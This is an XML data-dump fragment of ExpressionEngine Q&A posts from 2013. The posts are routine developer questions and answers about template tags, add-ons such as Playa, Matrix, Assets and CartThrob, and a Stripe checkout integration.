  <row Id="11235" PostTypeId="1" CreationDate="2013-06-13T15:11:34.713" Score="0" ViewCount="94" Body="&lt;p&gt;I have a template that displays the categories in a channel.  I want the link to direct to the first entry in that category and the link should include the url_title in the last segment as I will be needing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is my code for the categories but how do I include the link to the first entry?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;portfolio&quot; show_empty=&quot;yes&quot; style=&quot;linear&quot;} &#xA;&amp;lt;a href=&quot;{path='showroom'}&quot;&amp;gt;&amp;lt;img src=&quot;{category_image}&quot; border=&quot;0&quot;/&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;a href=&quot;{path='showroom'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So rather than the first link going to: &lt;a href=&quot;http://domain.com/showroom/category/category_name&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/showroom/category/category_name&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like it to go to: &lt;a href=&quot;http://domain.com/showroom/category/category_name/url_title&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/showroom/category/category_name/url_title&lt;/a&gt; (this would be the first entry in the chosen category)&lt;/p&gt;&#xA;" OwnerUserId="451" LastEditorUserId="451" LastEditDate="2013-06-13T15:29:29.320" LastActivityDate="2013-06-13T19:44:03.113" Title="automatically linking to the first entry in a channel using a category tag" Tags="|categories|links|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11236" PostTypeId="2" ParentId="5593" CreationDate="2013-06-13T16:26:19.853" Score="-1" Body="&lt;p&gt;I'm still seeing this behaviour in Assets v2.1.3 - the client (using IE8 on Win7) has complained that the 'Add Files' button doesn't become active once a file has been selected via the Assets slidedown window. I can replicate this behaviour. They can double-click to select, fortunately, but we still seem to have compatibility problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lisa: Did your bug get cleared?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried Kevin Lees's fix but it didn't work for me. There now seems to be a config setting $EE-&gt;config-&gt;item('assets_use_uncompressed_js') - but I'm not clear on how to change this!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I got in touch with Pixel &amp;amp; Tonic and they confirmed the existence of some IE8 incompatibilities which will be addressed in the next Assets release (2.1.4).&lt;/p&gt;&#xA;" OwnerUserId="1655" LastEditorUserId="1655" LastEditDate="2013-06-17T15:15:44.013" LastActivityDate="2013-06-17T15:15:44.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11238" PostTypeId="1" AcceptedAnswerId="11239" CreationDate="2013-06-13T19:01:42.057" Score="0" ViewCount="67" Body="&lt;p&gt;I'd like to make an improvement to how I'm displaying related products on a product detail page. Right now, the list of related products will...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;be limited to the same type and category (Playa relationships)&lt;/li&gt;&#xA;&lt;li&gt;be ordered by dollar value in descending order (numeric field)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Sometimes the price alone can make an item dissimilar; for example a $1.5M gum production machine isn't relevant on the detail page for a $0.75 pack of gum. What I'd like to do is limit my related entries to anything within ${x} of the current item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the (simplified) related products template, to which I pass the IDs of related category pages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;gt;Related Products&amp;lt;/h3&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;{exp:playa:parents entry_id=&quot;{embed:category_ids}&quot; orderby=&quot;product_price&quot; sort=&quot;desc&quot;}&#xA;     &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{page_uri}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;, ${product_price}&amp;lt;/li&amp;gt;&#xA;{/exp:playa:parents}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I wanted to limit by date, I could use EE's &lt;code&gt;start_on&lt;/code&gt; parameter. If I wanted to match a specific value, I know I could use the &lt;code&gt;search&lt;/code&gt; paramater. In this case, I simply want to add &lt;code&gt;WHERE product_price &amp;lt;= x&lt;/code&gt;, with &lt;code&gt;x&lt;/code&gt; being a dollar amount I've already calculated in PHP to be reasonably close to the currently-viewed product. Is there a way to accomplish this without going straight for the query module?&lt;/p&gt;&#xA;" OwnerUserId="810" LastActivityDate="2013-06-14T15:56:39.620" Title="How can I return entries within a certain (non-date) range?" Tags="|channel-entries|playa|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11239" PostTypeId="2" ParentId="11238" CreationDate="2013-06-13T19:15:00.757" Score="1" Body="&lt;p&gt;Have a look at &lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;Low Search&lt;/a&gt; -- it can be used as a replacement for the Channel Entries tag, and has a &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/tags#form-tag-ranges&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;range&lt;/code&gt; parameter&lt;/a&gt; which might suit your needs.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-13T19:15:00.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11240" PostTypeId="2" ParentId="11235" CreationDate="2013-06-13T19:15:11.123" Score="1" Body="&lt;p&gt;I believe Channel Categories only returns the category names, not the entries themselves.  If you need to return a channel entry, you'll need to use the Channel Entries tag as well (or instead).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you'll need something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories channel=&quot;portfolio&quot; show_empty=&quot;yes&quot; style=&quot;linear&quot;} &#xA;&amp;lt;a href=&quot;{embed='embeds/.getEntryForCategory' cat='{category_id}'}&quot;&amp;gt;&amp;lt;img src=&quot;{category_image}&quot; border=&quot;0&quot;/&amp;gt;&amp;lt;/a&amp;gt; &#xA;&amp;lt;!-- etc. --&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then in the getEntryForCategory template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries category='{embed:cat}' limit='1' dynamic='no'}{path='showroom'}/{url_title}{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't particularly like nesting templates, but I think this returns what you were after?&lt;/p&gt;&#xA;" OwnerUserId="900" LastActivityDate="2013-06-13T19:15:11.123" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11241" PostTypeId="1" CreationDate="2013-06-13T19:17:23.360" Score="1" ViewCount="40" Body="&lt;p&gt;In the related entries field, after typing a search term, a post call is made to return back a list of related entries that fit the search term. However, it is failing for us as you can see in the screen shot. I don't even get a 404 or 500. it just shows up as canceled. I have tested this on multiple machines and browsers and get the same result every time. Anyone have any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to screenshot =&gt; &lt;a href=&quot;http://cl.ly/image/330V450W0j1h&quot; rel=&quot;nofollow&quot;&gt;http://cl.ly/image/330V450W0j1h&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;~ C&lt;/p&gt;&#xA;" OwnerUserId="1657" LastEditorUserId="1326" LastEditDate="2013-06-13T20:30:51.087" LastActivityDate="2013-06-13T20:30:51.087" Title="Playa - Related Entries search post call fails" Tags="|playa|relationships|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11242" PostTypeId="2" ParentId="11235" CreationDate="2013-06-13T19:44:03.113" Score="0" Body="&lt;p&gt;I adjusted your code @dave-forber a bit because your link did not include the category/category_name/  segments.  But I am not using the Cat ID so instead I am getting the cat id when I use {embed:cat}  how can I instead get the proper categopry name in the segment?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries category='{embed:cat}' channel=&quot;portfolio&quot; limit='1' dynamic='no'}{path='showroom'}/category/{embed:cat}/{url_title}{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ahh this seems to work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries category='{embed:cat}' channel=&quot;portfolio&quot; limit='1' dynamic='no'}{path='showroom'}/category/{categories}{category_name}{/categories}/{url_title}{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-06-13T19:44:03.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11243" PostTypeId="1" CreationDate="2013-06-13T19:44:41.663" Score="2" ViewCount="57" Body="&lt;p&gt;I created a slider using Matrix, consisting of 3 slides (images and text). On load, the content for all 3 slides are shown, stacked. Then after a second the slider functions normally. Has anyone faced this problem, and how can this be fixed?&lt;/p&gt;&#xA;" OwnerUserId="1658" LastActivityDate="2013-06-15T12:05:20.030" Title="Matrix slider bug" Tags="|matrix|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11244" PostTypeId="1" AcceptedAnswerId="11633" CreationDate="2013-06-13T19:53:11.907" Score="2" ViewCount="115" Body="&lt;p&gt;I just updated a site from EE 2.5.1 to 2.6.1, and from CartThrob 2.1.3 to 2.3.2. When I try to access any CartThrob settings pages, I get a white screen of death. The CartThrob Order Manager works fine. Here's what I've tried, with no luck:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I enabled debugging on my &lt;code&gt;admin.php&lt;/code&gt; file. No new errors.&lt;/li&gt;&#xA;&lt;li&gt;I enabled debugging in &lt;code&gt;system/index.php&lt;/code&gt;. No new errors.&lt;/li&gt;&#xA;&lt;li&gt;My PHP error log is blank&lt;/li&gt;&#xA;&lt;li&gt;My PHP memory limit is &lt;em&gt;really&lt;/em&gt; high (750M on my local server)&lt;/li&gt;&#xA;&lt;li&gt;I disabled extensions&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Suggestions?&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2013-06-13T23:53:22.300" LastActivityDate="2013-07-02T21:33:23.717" Title="WSoD on CartThrob Settings Screens" Tags="|cartthrob|white-screen-of-death|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="11245" PostTypeId="2" ParentId="11243" CreationDate="2013-06-13T20:21:05.630" Score="1" Body="&lt;p&gt;This isn't a Matrix bug, this is the way most sliders work. It's actually caused by this bit of code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(document).ready(function(){ ... });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What this says is, wait for the browser to be finished handling the page, then run the code in between the &lt;code&gt;{&lt;/code&gt; and &lt;code&gt;}&lt;/code&gt;. The reason for this is that starting to apply effects etc. on the document before your browser is done rendering it, could cause unexpected behavior (for example, most sliders interpret the height of slides, but if your fonts or images aren't fully loaded yet that'll be inaccurate).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does that help?&lt;/p&gt;&#xA;" OwnerUserId="195" LastActivityDate="2013-06-13T20:21:05.630" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11246" PostTypeId="2" ParentId="11227" CreationDate="2013-06-14T01:52:26.457" Score="1" Body="&lt;p&gt;In the constructor for the tab.module_name.php call your language file and that should look for the tab shortname/key in your lang file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function __construct()&#xA;{&#xA;    $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;    $this-&amp;gt;EE-&amp;gt;lang-&amp;gt;loadfile('my_lang_file');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Take a look at how Bjørn Børresen allows for config overrides &lt;a href=&quot;https://github.com/bjornbjorn/SEO-Lite/blob/master/seo_lite/tab.seo_lite.php&quot; rel=&quot;nofollow&quot;&gt;on the SEO Lite module&lt;/a&gt; so folks can rename the tab to whatever they want.&lt;/p&gt;&#xA;" OwnerUserId="549" LastActivityDate="2013-06-14T01:52:26.457" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11247" PostTypeId="2" ParentId="11200" CreationDate="2013-06-14T02:05:23.377" Score="0" Body="&lt;p&gt;Can you share the Solspace forum link where you asked them the question, so we can see what steps have already been taken?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you update your original post with the Freefom version you're using. &lt;/p&gt;&#xA;" OwnerDisplayName="user21" LastActivityDate="2013-06-14T02:05:23.377" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11249" PostTypeId="1" AcceptedAnswerId="11271" CreationDate="2013-06-14T05:57:05.520" Score="1" ViewCount="190" Body="&lt;p&gt;I'm attempting to integrate the Strip payment gateway with Exp:resso Store and I'm getting this error after removing the error_handling=”inline” per the Checkout Tag documentation:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The form you submitted contained the following errors&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The XML document is well formed but the document is not valid&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I have tried numerous variations to the Checkout tag contents in the Store_example/checkout3 template based on Exp:resso and Store documentation, but nothing has moved me past this error. I'm not sure what to look for.&lt;/p&gt;&#xA;&lt;p&gt;Here's the code I pasted into the header. I replaced YOUR_PUBLISHABLE_KEY with the publishable test key from Stripe.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;&#xA;$(document).ready(function() {&#xA;  $.getScript('https://js.stripe.com/v1/', function() {&#xA;    Stripe.setPublishableKey('pk_test_QcxvwbfdYTdR3z5vUD1Tq27k');&#xA;  });&#xA;&#xA;  /* Ensure your checkout submit button has id=&amp;quot;checkout_submit&amp;quot; */&#xA;  $(&amp;quot;#checkout_submit&amp;quot;).click(function() {&#xA;&#xA;    /* Only handle requests for Stripe gateway */&#xA;    if (this.form.elements[&amp;quot;payment_method&amp;quot;].value == &amp;quot;stripe&amp;quot;) {&#xA;&#xA;      /* Temporarily disable the checkout submit button */&#xA;      $(&amp;quot;#checkout_submit&amp;quot;).attr('disabled', true);&#xA;&#xA;      /* Create a Stripe card token */&#xA;      Stripe.createToken({&#xA;        name: $(&amp;quot;#payment_name&amp;quot;).val(),&#xA;        number: $(&amp;quot;#payment_card_no&amp;quot;).val(),&#xA;        cvc: $(&amp;quot;#payment_card_csc&amp;quot;).val(),&#xA;        exp_month: $(&amp;quot;#payment_exp_month&amp;quot;).val(),&#xA;        exp_year: $(&amp;quot;#payment_exp_year&amp;quot;).val()&#xA;      }, stripeResponseHandler);&#xA;&#xA;      /* We don't want to submit the form yet */&#xA;      return false;&#xA;    }&#xA;  });&#xA;&#xA;  /* This function is triggered once Stripe has generated the token */&#xA;  function stripeResponseHandler(status, response) {&#xA;    /* Re-enable the checkout submit button */&#xA;    $(&amp;quot;#checkout_submit&amp;quot;).attr('disabled', false);&#xA;&#xA;    /* Check whether we have a valid credit card */&#xA;    if (response.error) {&#xA;      alert(response.error.message);&#xA;    } else {&#xA;      /* Set the card token and submit the checkout form */&#xA;      $(&amp;quot;#payment_token&amp;quot;).val(response['id']);&#xA;      $(&amp;quot;#checkout_submit&amp;quot;).unbind(&amp;quot;click&amp;quot;).click();&#xA;    }&#xA;  }&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Below is the relevant body code. Some of it is from the Exp:resso Store documentation, some of it is from the Stripe documentation.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout&#xA;    payment_method=&amp;quot;stripe&amp;quot;&#xA;    form_class=&amp;quot;form-horizontal&amp;quot;&#xA;    return=&amp;quot;store_example/order/ORDER_HASH&amp;quot;&#xA;    error_delimiters='&amp;lt;span class=&amp;quot;help-inline&amp;quot;&amp;gt;|&amp;lt;/span&amp;gt;'}&#xA;&#xA;    {if no_items}&#xA;        {redirect=&amp;quot;store_example/checkout&amp;quot;}&#xA;    {/if}&#xA;    &amp;lt;div class=&amp;quot;row&amp;quot;&amp;gt;&#xA;        &amp;lt;div class=&amp;quot;span8&amp;quot;&amp;gt;&#xA;            &amp;lt;!-- Billing and Shipping degails removed from pasted code --&amp;gt;&#xA;            &amp;lt;fieldset&amp;gt;&#xA;                &amp;lt;legend&amp;gt;Payment&amp;lt;/legend&amp;gt;&#xA;                {if error:payment_method}&#xA;                    &amp;lt;div class=&amp;quot;control-group&amp;quot;&amp;gt;&#xA;                        &amp;lt;div class=&amp;quot;alert alert-error&amp;quot;&amp;gt;{error:payment_method}&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                {/if}&#xA;                &amp;lt;form action=&amp;quot;&amp;quot; method=&amp;quot;POST&amp;quot; id=&amp;quot;payment-form&amp;quot;&amp;gt;&#xA;                    &amp;lt;span class=&amp;quot;payment-errors&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;div class=&amp;quot;form-row&amp;quot;&amp;gt;&#xA;                        &amp;lt;label&amp;gt;&#xA;                        &amp;lt;span&amp;gt;Card Number&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;input type=&amp;quot;text&amp;quot; id=&amp;quot;payment_card_no&amp;quot; value=&amp;quot;&amp;quot; /&amp;gt;&#xA;                        &amp;lt;/label&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&amp;quot;form-row&amp;quot;&amp;gt;&#xA;                        &amp;lt;label&amp;gt;&#xA;                        &amp;lt;span&amp;gt;Name on Card&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;input type=&amp;quot;text&amp;quot; id=&amp;quot;payment_name&amp;quot; value=&amp;quot;&amp;quot; /&amp;gt;&#xA;                        &amp;lt;/label&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&amp;quot;form-row&amp;quot;&amp;gt;&#xA;                        &amp;lt;label&amp;gt;&#xA;                        &amp;lt;span&amp;gt;CVC&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;input type=&amp;quot;text&amp;quot; id=&amp;quot;payment_card_csc&amp;quot; size=&amp;quot;4&amp;quot; value=&amp;quot;&amp;quot; /&amp;gt;&#xA;                        &amp;lt;/label&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div class=&amp;quot;form-row&amp;quot;&amp;gt;&#xA;                        &amp;lt;label&amp;gt;&#xA;                        &amp;lt;span&amp;gt;Expiration (MM/YYYY)&amp;lt;/span&amp;gt;&#xA;                        &amp;lt;select id=&amp;quot;payment_exp_month&amp;quot;&amp;gt;&#xA;                        &amp;lt;option value=&amp;quot;&amp;quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;                        {exp_month_options}&#xA;                        &amp;lt;/select&amp;gt;&#xA;                        &amp;lt;/label&amp;gt;&#xA;                        &amp;lt;span&amp;gt; / &amp;lt;/span&amp;gt;&#xA;                        &amp;lt;select id=&amp;quot;payment_exp_year&amp;quot; name=&amp;quot;payment[exp_year]&amp;quot;&amp;gt;&#xA;                        &amp;lt;option value=&amp;quot;&amp;quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;                        {exp_year_options}&#xA;                        &amp;lt;/select&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;  &#xA;                    &amp;lt;div class=&amp;quot;form-actions&amp;quot;&amp;gt;&#xA;                        &amp;lt;a href=&amp;quot;{path='store_example/checkout2'}&amp;quot; class=&amp;quot;btn&amp;quot;&amp;gt;Back&amp;lt;/a&amp;gt;&#xA;                        &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;submit&amp;quot; value=&amp;quot;Place Order&amp;quot; id=&amp;quot;checkout_submit&amp;quot; class=&amp;quot;btn btn-success&amp;quot; /&amp;gt;&#xA;                        &amp;lt;input type=&amp;quot;hidden&amp;quot; id=&amp;quot;payment_token&amp;quot; name=&amp;quot;payment[token]&amp;quot; value=&amp;quot;&amp;quot; /&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/form&amp;gt;&#xA;            &amp;lt;/fieldset&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;!-- Order Summary removed from pasted code --&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="359" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-06-18T18:24:04.690" Title="Stripe with Expresso Store returning XML not valid error" Tags="|expresso-store|stripe|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11250" PostTypeId="2" ParentId="11243" CreationDate="2013-06-14T07:48:09.913" Score="1" Body="&lt;p&gt;What Steven said. Generally, the way I take care of this is that I &quot;hide&quot; the slider element (div) using css during page load. Then, when Javascript kicks in, it removes that class from the slider div, making it visible after everything is loaded on that page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: as Jean said, you can also keep only the first slide visible or set the height of the container to avoid content &quot;snap&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see this on &lt;a href=&quot;http://www.polarfoundation.org&quot; rel=&quot;nofollow&quot;&gt;one of the site I built&lt;/a&gt;. The script I used on there is called &lt;a href=&quot;http://www.woothemes.com/flexslider/&quot; rel=&quot;nofollow&quot;&gt;flexslider&lt;/a&gt; and it does it by default.  &lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2013-06-15T12:05:20.030" LastActivityDate="2013-06-15T12:05:20.030" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11251" PostTypeId="2" ParentId="11230" CreationDate="2013-06-14T07:58:58.187" Score="1" Body="&lt;p&gt;Just to expand on Bhashkar's explanations, I see two other solutions on top of what he mentioned:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could upgrade to EE 2.6.1 which will automagically convert your old relationship fields to &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html&quot; rel=&quot;nofollow&quot;&gt;the new (more powerful) one shipped with 2.6&lt;/a&gt;. That new one will let you deal with future entries or only past entries (albeit in the custom field settings rather than at the template level if I remember well).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option would be to use Playa by Pixel &amp;amp; Tonic and &lt;a href=&quot;http://docs.pixelandtonic.com/playa/using/converting/relationships.html&quot; rel=&quot;nofollow&quot;&gt;convert your relationship fields to that&lt;/a&gt;. Playa will give you fine grained control over your relationships, great flexibility and an awesome UI in the CP (in my opinion, a better one that the default relationship field I mentioned above).&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-06-14T07:58:58.187" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11252" PostTypeId="1" AcceptedAnswerId="11253" CreationDate="2013-06-14T09:12:25.053" Score="0" ViewCount="209" Body="&lt;p&gt;I'm trying to search inside 'Matrix' cols with Simple Search module - but it's just not happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've ensured that the field is 'Searchable' and that all columns in the Matrix are 'Searchable' also. The entries themselves are not closed &amp;amp; not in the future - but they still won't show up in the search results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code I have for the Simple Search form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:search:simple_form result_page=&quot;search/results&quot; no_result_page=&quot;search/no-results&quot; results=&quot;10&quot; channel=&quot;shop_product&quot; where=&quot;all&quot; search_in=&quot;everywhere&quot;}&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&quot;submit-btn&quot;&amp;gt;&amp;lt;input type=&quot;image&quot; src=&quot;{site_url}assets/images/icon-search.png&quot; width=&quot;32&quot; height=&quot;32&quot; name=&quot;search&quot;/&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;{/exp:search:simple_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas why this wouldn't work?&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2013-06-14T13:00:40.587" Title="Matrix &amp; Simple Search" Tags="|matrix|pixelandtonic|simple-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11253" PostTypeId="2" ParentId="11252" CreationDate="2013-06-14T13:00:40.587" Score="0" Body="&lt;p&gt;If you've enabled the searchable columns for the Matrix field while there were existing entries, you'll have to save each of those entries in order to make it work. Basically, the searchable content needs to be put in the &lt;code&gt;exp_channel_data&lt;/code&gt; table, which Matrix does upon saving entries.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-06-14T13:00:40.587" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11255" PostTypeId="2" ParentId="11238" CreationDate="2013-06-14T15:56:39.620" Score="1" Body="&lt;p&gt;Since I love answering my own questions, here's the template embed I ended up with thanks to Derek's suggestion of using Low Search:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;&#xA;$pad = 10; // dollar amount above the current price at which we'll cap results&#xA;$price_limit = intval('{embed:current_product_price}')+$pad; &#xA;&#xA;?&amp;gt;&#xA;&#xA;{exp:low_search:results child:product_categories=&quot;{embed:category_ids}&quot; range:product_price=&quot;;&amp;lt;?php echo $price_limit; ?&amp;gt;&quot; orderby=&quot;product_price&quot; sort=&quot;desc&quot; parse=&quot;inward&quot;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{page_uri}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;, ${product_price}&amp;lt;/li&amp;gt;&#xA;{/exp:low_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="810" LastActivityDate="2013-06-14T15:56:39.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11256" PostTypeId="1" CreationDate="2013-06-14T16:22:44.283" Score="1" ViewCount="325" Body="&lt;p&gt;I am running EE 2.6.1 and recently updated to Assets 2.1.3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the EE file manager, all my files are visible and I can upload new ones. But the Assets file manager is blank and gives me an error when I try to upload: &quot;Could not upload the file - server returned an unexpected response. Please check the server settings.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried updating the indexes with no success of resolving the issue.&lt;/p&gt;&#xA;" OwnerUserId="439" LastActivityDate="2013-06-16T23:22:12.887" Title="Assets 2 Upgrade - No Images in Manager and No Uploading" Tags="|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11257" PostTypeId="1" AcceptedAnswerId="11280" CreationDate="2013-06-14T16:48:09.917" Score="1" ViewCount="79" Body="&lt;p&gt;I'm looking to do something similar to the pink pinpoints seen on the screenshots here: &lt;a href=&quot;http://ee-garage.com/nsm-live-look&quot; rel=&quot;nofollow&quot;&gt;http://ee-garage.com/nsm-live-look&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the client to be able to add pins at a certain point on the image and optionally add some content to that pin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried looking through Devot-ee, but couldn't find anything.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-06-27T15:59:39.283" Title="Addon for placing pinpoints on an image?" Tags="|image|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11258" PostTypeId="1" CreationDate="2013-06-14T18:08:22.487" Score="1" ViewCount="231" Body="&lt;p&gt;Is there a way in EE1 (nice to know for EE2 as well) to check and see if a page_uri exists and if not redirect them to a 4040 page? Since page_uri's can be just about anything and any depth it's impossible to use common conditionals to see if a segment is empty or uses a specific keyword. This question came up in regard to an EE1 site but if it's possible to do this in EE2  as well it would be helpful to know.&lt;/p&gt;&#xA;" OwnerUserId="237" LastActivityDate="2013-06-28T13:33:44.320" Title="Check to see if a page_uri exists" Tags="|ee2|conditionals|ee1|pages|page-uri|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
